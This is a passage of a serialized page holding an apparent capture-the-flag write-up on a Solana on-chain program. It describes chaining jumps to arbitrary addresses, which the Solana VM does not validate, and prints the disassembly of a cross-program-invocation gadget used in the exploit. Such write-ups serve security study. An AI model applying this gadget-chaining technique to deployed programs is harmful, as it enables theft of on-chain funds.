section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":24,"tag":59,"props":45199,"children":45201},{"id":45200},"solution-implementation",[45202],{"type":29,"value":45203},"Solution Implementation",{"type":24,"tag":25,"props":45205,"children":45206},{},[45207,45209,45214],{"type":29,"value":45208},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":24,"tag":154,"props":45210,"children":45212},{"className":45211},[],[45213],{"type":29,"value":36945},{"type":29,"value":45215}," invocations:",{"type":24,"tag":147,"props":45217,"children":45221},{"className":45218,"code":45219,"language":45220,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[45222],{"type":24,"tag":154,"props":45223,"children":45224},{"__ignoreMap":7},[45225,45233,45241,45249,45257,45265,45273],{"type":24,"tag":158,"props":45226,"children":45227},{"class":160,"line":161},[45228],{"type":24,"tag":158,"props":45229,"children":45230},{},[45231],{"type":29,"value":45232},"graph LR\n",{"type":24,"tag":158,"props":45234,"children":45235},{"class":160,"line":213},[45236],{"type":24,"tag":158,"props":45237,"children":45238},{},[45239],{"type":29,"value":45240}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":24,"tag":158,"props":45242,"children":45243},{"class":160,"line":238},[45244],{"type":24,"tag":158,"props":45245,"children":45246},{},[45247],{"type":29,"value":45248}," B --> C[2: process]\n",{"type":24,"tag":158,"props":45250,"children":45251},{"class":160,"line":259},[45252],{"type":24,"tag":158,"props":45253,"children":45254},{},[45255],{"type":29,"value":45256}," C --> D[3: gadget1]\n",{"type":24,"tag":158,"props":45258,"children":45259},{"class":160,"line":280},[45260],{"type":24,"tag":158,"props":45261,"children":45262},{},[45263],{"type":29,"value":45264}," C --> E[3: process]\n",{"type":24,"tag":158,"props":45266,"children":45267},{"class":160,"line":301},[45268],{"type":24,"tag":158,"props":45269,"children":45270},{},[45271],{"type":29,"value":45272}," E --> F[4: gadget2]\n",{"type":24,"tag":158,"props":45274,"children":45275},{"class":160,"line":626},[45276],{"type":24,"tag":158,"props":45277,"children":45278},{},[45279],{"type":29,"value":45280}," E --> G[...]\n",{"type":24,"tag":25,"props":45282,"children":45283},{},[45284],{"type":29,"value":45285},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":24,"tag":25,"props":45287,"children":45288},{},[45289,45291,45297],{"type":29,"value":45290},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":24,"tag":101,"props":45292,"children":45294},{"href":41752,"rel":45293},[105],[45295],{"type":29,"value":45296},"Binary Ninja",{"type":29,"value":45298}," to find a suitable gadget for this.",{"type":24,"tag":25,"props":45300,"children":45301},{},[45302,45304,45311],{"type":29,"value":45303},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":24,"tag":101,"props":45305,"children":45308},{"href":45306,"rel":45307},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[105],[45309],{"type":29,"value":45310},"skip the strip pass",{"type":29,"value":347},{"type":24,"tag":395,"props":45313,"children":45315},{"id":45314},"cpi-gadget",[45316],{"type":29,"value":45317},"CPI Gadget",{"type":24,"tag":25,"props":45319,"children":45320},{},[45321,45323,45328,45330,45337,45339,45345],{"type":29,"value":45322},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":24,"tag":154,"props":45324,"children":45326},{"className":45325},[],[45327],{"type":29,"value":39560},{"type":29,"value":45329}," function. This function calls into the solana sdk's function ",{"type":24,"tag":101,"props":45331,"children":45334},{"href":45332,"rel":45333},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[105],[45335],{"type":29,"value":45336},"invoke_signed_unchecked",{"type":29,"value":45338},", yielding a powerful gadget at the address ",{"type":24,"tag":154,"props":45340,"children":45342},{"className":45341},[],[45343],{"type":29,"value":45344},"0x100001ba8",{"type":29,"value":347},{"type":24,"tag":147,"props":45347,"children":45349},{"className":151,"code":45348,"language":150,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit {__return_addr}\n",[45350],{"type":24,"tag":154,"props":45351,"children":45352},{"__ignoreMap":7},[45353,45378,45434,45485,45537,45589,45612,45660,45667,45699,45750,45808,45842,45849,45898,45928,46003,46010,46061,46107,46114,46145,46196,46226,46248,46255,46306,46351,46358,46409,46437,46458,46465],{"type":24,"tag":158,"props":45354,"children":45355},{"class":160,"line":161},[45356,45360,45364,45369,45373],{"type":24,"tag":158,"props":45357,"children":45358},{"style":188},[45359],{"type":29,"value":14887},{"type":24,"tag":158,"props":45361,"children":45362},{"style":222},[45363],{"type":29,"value":2146},{"type":24,"tag":158,"props":45365,"children":45366},{"style":188},[45367],{"type":29,"value":45368},"program",{"type":24,"tag":158,"props":45370,"children":45371},{"style":222},[45372],{"type":29,"value":2146},{"type":24,"tag":158,"props":45374,"children":45375},{"style":177},[45376],{"type":29,"value":45377},"invoke_signed_unchecked\n",{"type":24,"tag":158,"props":45379,"children":45380},{"class":160,"line":213},[45381,45386,45391,45396,45401,45406,45411,45415,45420,45425,45430],{"type":24,"tag":158,"props":45382,"children":45383},{"style":177},[45384],{"type":29,"value":45385},"100001ba8",{"type":24,"tag":158,"props":45387,"children":45388},{"style":177},[45389],{"type":29,"value":45390}," 79a278ff00000000",{"type":24,"tag":158,"props":45392,"children":45393},{"style":177},[45394],{"type":29,"value":45395}," ldxdw",{"type":24,"tag":158,"props":45397,"children":45398},{"style":177},[45399],{"type":29,"value":45400}," r2",{"type":24,"tag":158,"props":45402,"children":45403},{"style":188},[45404],{"type":29,"value":45405},", [",{"type":24,"tag":158,"props":45407,"children":45408},{"style":177},[45409],{"type":29,"value":45410},"r10",{"type":24,"tag":158,"props":45412,"children":45413},{"style":222},[45414],{"type":29,"value":5987},{"type":24,"tag":158,"props":45416,"children":45417},{"style":465},[45418],{"type":29,"value":45419},"136",{"type":24,"tag":158,"props":45421,"children":45422},{"style":188},[45423],{"type":29,"value":45424},"] {",{"type":24,"tag":158,"props":45426,"children":45427},{"style":177},[45428],{"type":29,"value":45429},"var_88",{"type":24,"tag":158,"props":45431,"children":45432},{"style":188},[45433],{"type":29,"value":307},{"type":24,"tag":158,"props":45435,"children":45436},{"class":160,"line":238},[45437,45442,45447,45451,45456,45460,45464,45468,45472,45476,45481],{"type":24,"tag":158,"props":45438,"children":45439},{"style":177},[45440],{"type":29,"value":45441},"100001bb0",{"type":24,"tag":158,"props":45443,"children":45444},{"style":177},[45445],{"type":29,"value":45446}," 79a380ff00000000",{"type":24,"tag":158,"props":45448,"children":45449},{"style":177},[45450],{"type":29,"value":45395},{"type":24,"tag":158,"props":45452,"children":45453},{"style":177},[45454],{"type":29,"value":45455}," r3",{"type":24,"tag":158,"props":45457,"children":45458},{"style":188},[45459],{"type":29,"value":45405},{"type":24,"tag":158,"props":45461,"children":45462},{"style":177},[45463],{"type":29,"value":45410},{"type":24,"tag":158,"props":45465,"children":45466},{"style":222},[45467],{"type":29,"value":5987},{"type":24,"tag":158,"props":45469,"children":45470},{"style":465},[45471],{"type":29,"value":31107},{"type":24,"tag":158,"props":45473,"children":45474},{"style":188},[45475],{"type":29,"value":45424},{"type":24,"tag":158,"props":45477,"children":45478},{"style":177},[45479],{"type":29,"value":45480},"var_80",{"type":24,"tag":158,"props":45482,"children":45483},{"style":188},[45484],{"type":29,"value":307},{"type":24,"tag":158,"props":45486,"children":45487},{"class":160,"line":259},[45488,45493,45498,45502,45507,45511,45515,45519,45524,45528,45533],{"type":24,"tag":158,"props":45489,"children":45490},{"style":177},[45491],{"type":29,"value":45492},"100001bb8",{"type":24,"tag":158,"props":45494,"children":45495},{"style":177},[45496],{"type":29,"value":45497}," 79a468ff00000000",{"type":24,"tag":158,"props":45499,"children":45500},{"style":177},[45501],{"type":29,"value":45395},{"type":24,"tag":158,"props":45503,"children":45504},{"style":177},[45505],{"type":29,"value":45506}," r4",{"type":24,"tag":158,"props":45508,"children":45509},{"style":188},[45510],{"type":29,"value":45405},{"type":24,"tag":158,"props":45512,"children":45513},{"style":177},[45514],{"type":29,"value":45410},{"type":24,"tag":158,"props":45516,"children":45517},{"style":222},[45518],{"type":29,"value":5987},{"type":24,"tag":158,"props":45520,"children":45521},{"style":465},[45522],{"type":29,"value":45523},"152",{"type":24,"tag":158,"props":45525,"children":45526},{"style":188},[45527],{"type":29,"value":45424},{"type":24,"tag":158,"props":45529,"children":45530},{"style":177},[45531],{"type":29,"value":45532},"var_98",{"type":24,"tag":158,"props":45534,"children":45535},{"style":188},[45536],{"type":29,"value":307},{"type":24,"tag":158,"props":45538,"children":45539},{"class":160,"line":280},[45540,45545,45550,45554,45559,45563,45567,45571,45576,45580,45585],{"type":24,"tag":158,"props":45541,"children":45542},{"style":177},[45543],{"type":29,"value":45544},"100001bc0",{"type":24,"tag":158,"props":45546,"children":45547},{"style":177},[45548],{"type":29,"value":45549}," 79a570ff00000000",{"type":24,"tag":158,"props":45551,"children":45552},{"style":177},[45553],{"type":29,"value":45395},{"type":24,"tag":158,"props":45555,"children":45556},{"style":177},[45557],{"type":29,"value":45558}," r5",{"type":24,"tag":158,"props":45560,"children":45561},{"style":188},[45562],{"type":29,"value":45405},{"type":24,"tag":158,"props":45564,"children":45565},{"style":177},[45566],{"type":29,"value":45410},{"type":24,"tag":158,"props":45568,"children":45569},{"style":222},[45570],{"type":29,"value":5987},{"type":24,"tag":158,"props":45572,"children":45573},{"style":465},[45574],{"type":29,"value":45575},"144",{"type":24,"tag":158,"props":45577,"children":45578},{"style":188},[45579],{"type":29,"value":45424},{"type":24,"tag":158,"props":45581,"children":45582},{"style":177},[45583],{"type":29,"value":45584},"var_90",{"type":24,"tag":158,"props":45586,"children":45587},{"style":188},[45588],{"type":29,"value":307},{"type":24,"tag":158,"props":45590,"children":45591},{"class":160,"line":301},[45592,45597,45602,45607],{"type":24,"tag":158,"props":45593,"children":45594},{"style":177},[45595],{"type":29,"value":45596},"100001bc8",{"type":24,"tag":158,"props":45598,"children":45599},{"style":465},[45600],{"type":29,"value":45601}," 8520000020100000",{"type":24,"tag":158,"props":45603,"children":45604},{"style":177},[45605],{"type":29,"value":45606}," call",{"type":24,"tag":158,"props":45608,"children":45609},{"style":177},[45610],{"type":29,"value":45611}," sol_invoke_signed_rust\n",{"type":24,"tag":158,"props":45613,"children":45614},{"class":160,"line":626},[45615,45620,45625,45630,45634,45638,45642,45646,45651,45655],{"type":24,"tag":158,"props":45616,"children":45617},{"style":177},[45618],{"type":29,"value":45619},"100001bd0",{"type":24,"tag":158,"props":45621,"children":45622},{"style":465},[45623],{"type":29,"value":45624}," 5500040000000000",{"type":24,"tag":158,"props":45626,"children":45627},{"style":177},[45628],{"type":29,"value":45629}," jne",{"type":24,"tag":158,"props":45631,"children":45632},{"style":188},[45633],{"type":29,"value":2116},{"type":24,"tag":158,"props":45635,"children":45636},{"style":222},[45637],{"type":29,"value":728},{"type":24,"tag":158,"props":45639,"children":45640},{"style":465},[45641],{"type":29,"value":18767},{"type":24,"tag":158,"props":45643,"children":45644},{"style":188},[45645],{"type":29,"value":7473},{"type":24,"tag":158,"props":45647,"children":45648},{"style":177},[45649],{"type":29,"value":45650},"r0",{"type":24,"tag":158,"props":45652,"children":45653},{"style":188},[45654],{"type":29,"value":191},{"type":24,"tag":158,"props":45656,"children":45657},{"style":465},[45658],{"type":29,"value":45659},"0x0\n",{"type":24,"tag":158,"props":45661,"children":45662},{"class":160,"line":668},[45663],{"type":24,"tag":158,"props":45664,"children":45665},{"emptyLinePlaceholder":16},[45666],{"type":29,"value":481},{"type":24,"tag":158,"props":45668,"children":45669},{"class":160,"line":676},[45670,45675,45680,45685,45690,45694],{"type":24,"tag":158,"props":45671,"children":45672},{"style":177},[45673],{"type":29,"value":45674},"100001bd8",{"type":24,"tag":158,"props":45676,"children":45677},{"style":177},[45678],{"type":29,"value":45679}," b701000018000000",{"type":24,"tag":158,"props":45681,"children":45682},{"style":177},[45683],{"type":29,"value":45684}," mov",{"type":24,"tag":158,"props":45686,"children":45687},{"style":177},[45688],{"type":29,"value":45689}," r1",{"type":24,"tag":158,"props":45691,"children":45692},{"style":188},[45693],{"type":29,"value":191},{"type":24,"tag":158,"props":45695,"children":45696},{"style":465},[45697],{"type":29,"value":45698},"0x18\n",{"type":24,"tag":158,"props":45700,"children":45701},{"class":160,"line":684},[45702,45707,45712,45716,45720,45724,45728,45732,45737,45741,45746],{"type":24,"tag":158,"props":45703,"children":45704},{"style":177},[45705],{"type":29,"value":45706},"100001be0",{"type":24,"tag":158,"props":45708,"children":45709},{"style":177},[45710],{"type":29,"value":45711}," 79a288ff00000000",{"type":24,"tag":158,"props":45713,"children":45714},{"style":177},[45715],{"type":29,"value":45395},{"type":24,"tag":158,"props":45717,"children":45718},{"style":177},[45719],{"type":29,"value":45400},{"type":24,"tag":158,"props":45721,"children":45722},{"style":188},[45723],{"type":29,"value":45405},{"type":24,"tag":158,"props":45725,"children":45726},{"style":177},[45727],{"type":29,"value":45410},{"type":24,"tag":158,"props":45729,"children":45730},{"style":222},[45731],{"type":29,"value":5987},{"type":24,"tag":158,"props":45733,"children":45734},{"style":465},[45735],{"type":29,"value":45736},"120",{"type":24,"tag":158,"props":45738,"children":45739},{"style":188},[45740],{"type":29,"value":45424},{"type":24,"tag":158,"props":45742,"children":45743},{"style":177},[45744],{"type":29,"value":45745},"var_78",{"type":24,"tag":158,"props":45747,"children":45748},{"style":188},[45749],{"type":29,"value":307},{"type":24,"tag":158,"props":45751,"children":45752},{"class":160,"line":700},[45753,45758,45763,45768,45772,45777,45781,45785,45789,45794,45799,45804],{"type":24,"tag":158,"props":45754,"children":45755},{"style":177},[45756],{"type":29,"value":45757},"100001be8",{"type":24,"tag":158,"props":45759,"children":45760},{"style":465},[45761],{"type":29,"value":45762}," 6312000000000000",{"type":24,"tag":158,"props":45764,"children":45765},{"style":177},[45766],{"type":29,"value":45767}," stxw",{"type":24,"tag":158,"props":45769,"children":45770},{"style":188},[45771],{"type":29,"value":24277},{"type":24,"tag":158,"props":45773,"children":45774},{"style":177},[45775],{"type":29,"value":45776},"r2",{"type":24,"tag":158,"props":45778,"children":45779},{"style":222},[45780],{"type":29,"value":5987},{"type":24,"tag":158,"props":45782,"children":45783},{"style":465},[45784],{"type":29,"value":5682},{"type":24,"tag":158,"props":45786,"children":45787},{"style":188},[45788],{"type":29,"value":24305},{"type":24,"tag":158,"props":45790,"children":45791},{"style":177},[45792],{"type":29,"value":45793},"r1",{"type":24,"tag":158,"props":45795,"children":45796},{"style":188},[45797],{"type":29,"value":45798}," {",{"type":24,"tag":158,"props":45800,"children":45801},{"style":465},[45802],{"type":29,"value":45803},"0x18",{"type":24,"tag":158,"props":45805,"children":45806},{"style":188},[45807],{"type":29,"value":307},{"type":24,"tag":158,"props":45809,"children":45810},{"class":160,"line":785},[45811,45816,45821,45826,45830,45834,45838],{"type":24,"tag":158,"props":45812,"children":45813},{"style":177},[45814],{"type":29,"value":45815},"100001bf0",{"type":24,"tag":158,"props":45817,"children":45818},{"style":465},[45819],{"type":29,"value":45820}," 0500030000000000",{"type":24,"tag":158,"props":45822,"children":45823},{"style":177},[45824],{"type":29,"value":45825}," ja",{"type":24,"tag":158,"props":45827,"children":45828},{"style":188},[45829],{"type":29,"value":2116},{"type":24,"tag":158,"props":45831,"children":45832},{"style":222},[45833],{"type":29,"value":728},{"type":24,"tag":158,"props":45835,"children":45836},{"style":465},[45837],{"type":29,"value":18534},{"type":24,"tag":158,"props":45839,"children":45840},{"style":188},[45841],{"type":29,"value":7642},{"type":24,"tag":158,"props":45843,"children":45844},{"class":160,"line":1447},[45845],{"type":24,"tag":158,"props":45846,"children":45847},{"emptyLinePlaceholder":16},[45848],{"type":29,"value":481},{"type":24,"tag":158,"props":45850,"children":45851},{"class":160,"line":1509},[45852,45857,45862,45866,45870,45874,45878,45882,45886,45890,45894],{"type":24,"tag":158,"props":45853,"children":45854},{"style":177},[45855],{"type":29,"value":45856},"100001bf8",{"type":24,"tag":158,"props":45858,"children":45859},{"style":177},[45860],{"type":29,"value":45861}," 79a188ff00000000",{"type":24,"tag":158,"props":45863,"children":45864},{"style":177},[45865],{"type":29,"value":45395},{"type":24,"tag":158,"props":45867,"children":45868},{"style":177},[45869],{"type":29,"value":45689},{"type":24,"tag":158,"props":45871,"children":45872},{"style":188},[45873],{"type":29,"value":45405},{"type":24,"tag":158,"props":45875,"children":45876},{"style":177},[45877],{"type":29,"value":45410},{"type":24,"tag":158,"props":45879,"children":45880},{"style":222},[45881],{"type":29,"value":5987},{"type":24,"tag":158,"props":45883,"children":45884},{"style":465},[45885],{"type":29,"value":45736},{"type":24,"tag":158,"props":45887,"children":45888},{"style":188},[45889],{"type":29,"value":45424},{"type":24,"tag":158,"props":45891,"children":45892},{"style":177},[45893],{"type":29,"value":45745},{"type":24,"tag":158,"props":45895,"children":45896},{"style":188},[45897],{"type":29,"value":307},{"type":24,"tag":158,"props":45899,"children":45900},{"class":160,"line":1527},[45901,45906,45911,45915,45919,45923],{"type":24,"tag":158,"props":45902,"children":45903},{"style":177},[45904],{"type":29,"value":45905},"100001c00",{"type":24,"tag":158,"props":45907,"children":45908},{"style":177},[45909],{"type":29,"value":45910}," bf02000000000000",{"type":24,"tag":158,"props":45912,"children":45913},{"style":177},[45914],{"type":29,"value":45684},{"type":24,"tag":158,"props":45916,"children":45917},{"style":177},[45918],{"type":29,"value":45400},{"type":24,"tag":158,"props":45920,"children":45921},{"style":188},[45922],{"type":29,"value":191},{"type":24,"tag":158,"props":45924,"children":45925},{"style":177},[45926],{"type":29,"value":45927},"r0\n",{"type":24,"tag":158,"props":45929,"children":45930},{"class":160,"line":1545},[45931,45936,45941,45945,45950,45954,45959,45963,45967,45972,45976,45980,45985,45990,45994,45998],{"type":24,"tag":158,"props":45932,"children":45933},{"style":177},[45934],{"type":29,"value":45935},"100001c08",{"type":24,"tag":158,"props":45937,"children":45938},{"style":465},[45939],{"type":29,"value":45940}," 8510000075000000",{"type":24,"tag":158,"props":45942,"children":45943},{"style":177},[45944],{"type":29,"value":45606},{"type":24,"tag":158,"props":45946,"children":45947},{"style":171},[45948],{"type":29,"value":45949}," _ZN94_",{"type":24,"tag":158,"props":45951,"children":45952},{"style":222},[45953],{"type":29,"value":1105},{"type":24,"tag":158,"props":45955,"children":45956},{"style":171},[45957],{"type":29,"value":45958},"LT",{"type":24,"tag":158,"props":45960,"children":45961},{"style":222},[45962],{"type":29,"value":1105},{"type":24,"tag":158,"props":45964,"children":45965},{"style":177},[45966],{"type":29,"value":14887},{"type":24,"tag":158,"props":45968,"children":45969},{"style":222},[45970],{"type":29,"value":45971},"...$",{"type":24,"tag":158,"props":45973,"children":45974},{"style":177},[45975],{"type":29,"value":4269},{"type":24,"tag":158,"props":45977,"children":45978},{"style":222},[45979],{"type":29,"value":1105},{"type":24,"tag":158,"props":45981,"children":45982},{"style":171},[45983],{"type":29,"value":45984},"GT",{"type":24,"tag":158,"props":45986,"children":45987},{"style":222},[45988],{"type":29,"value":45989},"$$",{"type":24,"tag":158,"props":45991,"children":45992},{"style":171},[45993],{"type":29,"value":45984},{"type":24,"tag":158,"props":45995,"children":45996},{"style":222},[45997],{"type":29,"value":1105},{"type":24,"tag":158,"props":45999,"children":46000},{"style":188},[46001],{"type":29,"value":46002},"4from17ha0d289b72861b06dE\n",{"type":24,"tag":158,"props":46004,"children":46005},{"class":160,"line":1618},[46006],{"type":24,"tag":158,"props":46007,"children":46008},{"emptyLinePlaceholder":16},[46009],{"type":29,"value":481},{"type":24,"tag":158,"props":46011,"children":46012},{"class":160,"line":1635},[46013,46018,46023,46027,46031,46035,46039,46043,46048,46052,46057],{"type":24,"tag":158,"props":46014,"children":46015},{"style":177},[46016],{"type":29,"value":46017},"100001c10",{"type":24,"tag":158,"props":46019,"children":46020},{"style":177},[46021],{"type":29,"value":46022}," 79a2b8ff00000000",{"type":24,"tag":158,"props":46024,"children":46025},{"style":177},[46026],{"type":29,"value":45395},{"type":24,"tag":158,"props":46028,"children":46029},{"style":177},[46030],{"type":29,"value":45400},{"type":24,"tag":158,"props":46032,"children":46033},{"style":188},[46034],{"type":29,"value":45405},{"type":24,"tag":158,"props":46036,"children":46037},{"style":177},[46038],{"type":29,"value":45410},{"type":24,"tag":158,"props":46040,"children":46041},{"style":222},[46042],{"type":29,"value":5987},{"type":24,"tag":158,"props":46044,"children":46045},{"style":465},[46046],{"type":29,"value":46047},"72",{"type":24,"tag":158,"props":46049,"children":46050},{"style":188},[46051],{"type":29,"value":45424},{"type":24,"tag":158,"props":46053,"children":46054},{"style":177},[46055],{"type":29,"value":46056},"var_48",{"type":24,"tag":158,"props":46058,"children":46059},{"style":188},[46060],{"type":29,"value":307},{"type":24,"tag":158,"props":46062,"children":46063},{"class":160,"line":1644},[46064,46069,46074,46079,46083,46087,46091,46095,46099,46103],{"type":24,"tag":158,"props":46065,"children":46066},{"style":177},[46067],{"type":29,"value":46068},"100001c18",{"type":24,"tag":158,"props":46070,"children":46071},{"style":465},[46072],{"type":29,"value":46073}," 1502040000000000",{"type":24,"tag":158,"props":46075,"children":46076},{"style":177},[46077],{"type":29,"value":46078}," jeq",{"type":24,"tag":158,"props":46080,"children":46081},{"style":188},[46082],{"type":29,"value":2116},{"type":24,"tag":158,"props":46084,"children":46085},{"style":222},[46086],{"type":29,"value":728},{"type":24,"tag":158,"props":46088,"children":46089},{"style":465},[46090],{"type":29,"value":18767},{"type":24,"tag":158,"props":46092,"children":46093},{"style":188},[46094],{"type":29,"value":7473},{"type":24,"tag":158,"props":46096,"children":46097},{"style":177},[46098],{"type":29,"value":45776},{"type":24,"tag":158,"props":46100,"children":46101},{"style":188},[46102],{"type":29,"value":191},{"type":24,"tag":158,"props":46104,"children":46105},{"style":465},[46106],{"type":29,"value":45659},{"type":24,"tag":158,"props":46108,"children":46109},{"class":160,"line":1652},[46110],{"type":24,"tag":158,"props":46111,"children":46112},{"emptyLinePlaceholder":16},[46113],{"type":29,"value":481},{"type":24,"tag":158,"props":46115,"children":46116},{"class":160,"line":1704},[46117,46122,46127,46132,46136,46140],{"type":24,"tag":158,"props":46118,"children":46119},{"style":177},[46120],{"type":29,"value":46121},"100001c20",{"type":24,"tag":158,"props":46123,"children":46124},{"style":465},[46125],{"type":29,"value":46126}," 2702000022000000",{"type":24,"tag":158,"props":46128,"children":46129},{"style":177},[46130],{"type":29,"value":46131}," mul",{"type":24,"tag":158,"props":46133,"children":46134},{"style":177},[46135],{"type":29,"value":45400},{"type":24,"tag":158,"props":46137,"children":46138},{"style":188},[46139],{"type":29,"value":191},{"type":24,"tag":158,"props":46141,"children":46142},{"style":465},[46143],{"type":29,"value":46144},"0x22\n",{"type":24,"tag":158,"props":46146,"children":46147},{"class":160,"line":1713},[46148,46153,46158,46162,46166,46170,46174,46178,46183,46187,46192],{"type":24,"tag":158,"props":46149,"children":46150},{"style":177},[46151],{"type":29,"value":46152},"100001c28",{"type":24,"tag":158,"props":46154,"children":46155},{"style":177},[46156],{"type":29,"value":46157}," 79a1b0ff00000000",{"type":24,"tag":158,"props":46159,"children":46160},{"style":177},[46161],{"type":29,"value":45395},{"type":24,"tag":158,"props":46163,"children":46164},{"style":177},[46165],{"type":29,"value":45689},{"type":24,"tag":158,"props":46167,"children":46168},{"style":188},[46169],{"type":29,"value":45405},{"type":24,"tag":158,"props":46171,"children":46172},{"style":177},[46173],{"type":29,"value":45410},{"type":24,"tag":158,"props":46175,"children":46176},{"style":222},[46177],{"type":29,"value":5987},{"type":24,"tag":158,"props":46179,"children":46180},{"style":465},[46181],{"type":29,"value":46182},"80",{"type":24,"tag":158,"props":46184,"children":46185},{"style":188},[46186],{"type":29,"value":45424},{"type":24,"tag":158,"props":46188,"children":46189},{"style":177},[46190],{"type":29,"value":46191},"var_50",{"type":24,"tag":158,"props":46193,"children":46194},{"style":188},[46195],{"type":29,"value":307},{"type":24,"tag":158,"props":46197,"children":46198},{"class":160,"line":1731},[46199,46204,46209,46213,46217,46221],{"type":24,"tag":158,"props":46200,"children":46201},{"style":177},[46202],{"type":29,"value":46203},"100001c30",{"type":24,"tag":158,"props":46205,"children":46206},{"style":177},[46207],{"type":29,"value":46208}," b703000001000000",{"type":24,"tag":158,"props":46210,"children":46211},{"style":177},[46212],{"type":29,"value":45684},{"type":24,"tag":158,"props":46214,"children":46215},{"style":177},[46216],{"type":29,"value":45455},{"type":24,"tag":158,"props":46218,"children":46219},{"style":188},[46220],{"type":29,"value":191},{"type":24,"tag":158,"props":46222,"children":46223},{"style":465},[46224],{"type":29,"value":46225},"0x1\n",{"type":24,"tag":158,"props":46227,"children":46228},{"class":160,"line":5485},[46229,46234,46239,46243],{"type":24,"tag":158,"props":46230,"children":46231},{"style":177},[46232],{"type":29,"value":46233},"100001c38",{"type":24,"tag":158,"props":46235,"children":46236},{"style":177},[46237],{"type":29,"value":46238}," 8510000003feffff",{"type":24,"tag":158,"props":46240,"children":46241},{"style":177},[46242],{"type":29,"value":45606},{"type":24,"tag":158,"props":46244,"children":46245},{"style":177},[46246],{"type":29,"value":46247}," __rust_dealloc\n",{"type":24,"tag":158,"props":46249,"children":46250},{"class":160,"line":5493},[46251],{"type":24,"tag":158,"props":46252,"children":46253},{"emptyLinePlaceholder":16},[46254],{"type":29,"value":481},{"type":24,"tag":158,"props":46256,"children":46257},{"class":160,"line":5553},[46258,46263,46268,46272,46276,46280,46284,46288,46293,46297,46302],{"type":24,"tag":158,"props":46259,"children":46260},{"style":177},[46261],{"type":29,"value":46262},"100001c40",{"type":24,"tag":158,"props":46264,"children":46265},{"style":177},[46266],{"type":29,"value":46267}," 79a2d0ff00000000",{"type":24,"tag":158,"props":46269,"children":46270},{"style":177},[46271],{"type":29,"value":45395},{"type":24,"tag":158,"props":46273,"children":46274},{"style":177},[46275],{"type":29,"value":45400},{"type":24,"tag":158,"props":46277,"children":46278},{"style":188},[46279],{"type":29,"value":45405},{"type":24,"tag":158,"props":46281,"children":46282},{"style":177},[46283],{"type":29,"value":45410},{"type":24,"tag":158,"props":46285,"children":46286},{"style":222},[46287],{"type":29,"value":5987},{"type":24,"tag":158,"props":46289,"children":46290},{"style":465},[46291],{"type":29,"value":46292},"48",{"type":24,"tag":158,"props":46294,"children":46295},{"style":188},[46296],{"type":29,"value":45424},{"type":24,"tag":158,"props":46298,"children":46299},{"style":177},[46300],{"type":29,"value":46301},"var_30",{"type":24,"tag":158,"props":46303,"children":46304},{"style":188},[46305],{"type":29,"value":307},{"type":24,"tag":158,"props":46307,"children":46308},{"class":160,"line":10636},[46309,46314,46319,46323,46327,46331,46335,46339,46343,46347],{"type":24,"tag":158,"props":46310,"children":46311},{"style":177},[46312],{"type":29,"value":46313},"100001c48",{"type":24,"tag":158,"props":46315,"children":46316},{"style":465},[46317],{"type":29,"value":46318}," 1502030000000000",{"type":24,"tag":158,"props":46320,"children":46321},{"style":177},[46322],{"type":29,"value":46078},{"type":24,"tag":158,"props":46324,"children":46325},{"style":188},[46326],{"type":29,"value":2116},{"type":24,"tag":158,"props":46328,"children":46329},{"style":222},[46330],{"type":29,"value":728},{"type":24,"tag":158,"props":46332,"children":46333},{"style":465},[46334],{"type":29,"value":18534},{"type":24,"tag":158,"props":46336,"children":46337},{"style":188},[46338],{"type":29,"value":7473},{"type":24,"tag":158,"props":46340,"children":46341},{"style":177},[46342],{"type":29,"value":45776},{"type":24,"tag":158,"props":46344,"children":46345},{"style":188},[46346],{"type":29,"value":191},{"type":24,"tag":158,"props":46348,"children":46349},{"style":465},[46350],{"type":29,"value":45659},{"type":24,"tag":158,"props":46352,"children":46353},{"class":160,"line":10652},[46354],{"type":24,"tag":158,"props":46355,"children":46356},{"emptyLinePlaceholder":16},[46357],{"type":29,"value":481},{"type":24,"tag":158,"props":46359,"children":46360},{"class":160,"line":10696},[46361,46366,4